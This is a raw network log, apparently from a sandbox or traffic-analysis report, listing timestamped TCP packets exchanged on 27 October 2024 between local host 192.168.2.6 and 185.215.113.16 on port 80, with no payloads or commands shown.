Oct 27, 2024 07:59:21.892966986 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.892993927 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.893018007 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.921817064 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.921829939 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.921840906 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.921849966 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.921859980 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.921870947 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.921881914 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.921897888 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.921905041 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.922000885 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.922036886 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.922072887 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.922084093 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.922147036 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.922214985 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.922281027 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.922291994 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.922297955 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.922487020 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.922497988 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.922508955 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.922595978 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.922605991 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.922616959 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.922627926 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.922645092 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.922645092 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.922657967 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.922669888 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.922679901 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.922766924 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.922941923 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.922979116 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.922990084 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.923054934 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.923064947 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.923082113 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.923091888 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.923103094 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.923110008 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.923113108 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.923171043 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.923171043 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.923330069 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.923558950 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.923571110 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.923579931 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.923589945 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.923625946 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.923671961 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.954086065 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.961668015 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.961687088 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.961697102 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.961745024 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.961760998 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.961777925 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.961796999 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.961798906 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.961798906 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.963397980 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.963449955 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.963460922 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.963471889 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.963526011 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.963542938 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.963555098 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.963566065 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.963566065 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.963577032 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.963587999 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.963597059 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.963608980 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.963620901 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.963659048 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.963669062 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.963669062 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.964343071 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.964353085 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.964386940 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.964422941 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.964448929 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.964458942 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.964468002 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.964471102 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:21.964627981 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:21.964628935 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.005989075 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.006086111 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.006095886 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.006107092 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.006206989 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.008177042 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.008188963 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.008198977 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.008407116 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.036869049 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.036947966 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.036957026 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.036963940 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.036968946 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.036973000 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.036978006 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.036988020 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.037009001 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.037017107 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.037034035 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.037041903 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.037388086 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.037399054 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.037410021 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.037415981 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.037431955 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.037607908 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.037621975 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.037627935 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.037641048 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.037961006 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.037971020 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.037981033 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.037991047 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.038017988 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.038045883 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.038058043 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.038068056 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.038081884 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.038091898 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.038120031 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.038130045 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.038183928 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.038269997 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.038444042 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.038454056 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.038463116 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.038487911 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.038526058 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.038536072 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.038546085 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.038562059 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.038567066 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.038574934 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.038584948 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.038633108 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.040627003 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.051908016 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.076926947 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.076945066 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.076962948 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.076982975 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.076993942 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.077003956 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.077056885 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.077088118 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.077099085 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.077126026 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.077126026 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.077147007 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.077253103 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.078465939 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.078511000 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.078520060 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.078528881 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.078624964 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.078638077 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.078646898 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.078658104 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.078756094 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.078756094 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.078771114 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.078875065 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.078927040 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.078934908 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.078969955 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.078979969 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.078995943 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.078996897 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.079011917 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.079055071 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.079070091 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.079457998 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.079476118 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.079484940 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.079560041 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.079569101 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.079579115 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.079591036 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.079677105 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.121205091 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.121225119 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.121458054 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.123442888 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.123454094 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.123471022 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.123483896 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.123493910 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.123506069 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.123528957 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.123560905 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.152163982 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.152175903 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.152187109 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.152247906 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.152267933 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.152281046 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.152282000 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.152282000 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.152328968 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.152364969 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.152374983 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.152386904 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.152415991 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.152421951 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.152434111 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.152445078 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.152529955 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.152630091 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.152764082 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.152823925 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.152837038 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.152981997 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.153054953 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.153074026 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.153085947 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.153095961 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.153127909 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.153192043 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.153204918 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.153228045 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.153228998 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.153243065 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.153249979 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.153253078 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.153292894 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.153369904 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.153630018 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.153640032 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.153651953 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.153666019 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.153676033 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.153687954 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.153697968 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.153707981 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.153805017 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.153805017 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.153805017 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.154191971 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.154211044 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.154221058 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.154351950 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.192209005 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.192229986 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.192241907 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.192250967 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.192261934 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.192271948 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.192282915 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.192291021 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.192411900 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.192459106 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.193727970 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.193799019 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.193813086 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.193823099 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.193831921 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.193851948 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.193873882 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.193911076 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.193938971 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.194053888 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.194062948 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.194067955 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.194076061 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.194152117 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.194205999 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.194221020 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.194235086 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.194394112 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.194405079 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.194413900 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.194421053 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.194426060 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.194483042 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.194483042 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.194667101 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.194678068 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.194689035 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.194787979 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.194799900 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.194809914 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.194937944 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.194937944 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.194950104 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.238531113 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.238595963 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.238622904 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.238627911 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.238632917 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.238637924 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.238748074 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.238790989 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.238837004 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.238847971 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.239186049 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.267307043 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.267323017 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.267353058 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.267379045 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.267396927 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.267400980 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.267420053 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.267431974 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.267472982 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.267554045 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.267688990 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.267693043 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.267719030 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.267738104 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.267746925 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.267818928 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.267831087 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.267893076 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.267893076 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.267918110 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.267929077 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.267946959 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.267951965 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.268107891 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.268141031 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.268213987 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.268224001 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.268264055 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.268275023 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.268285990 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.268295050 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.268306017 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.268363953 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.268363953 CET	49750	80	192.168.2.6	185.215.113.16
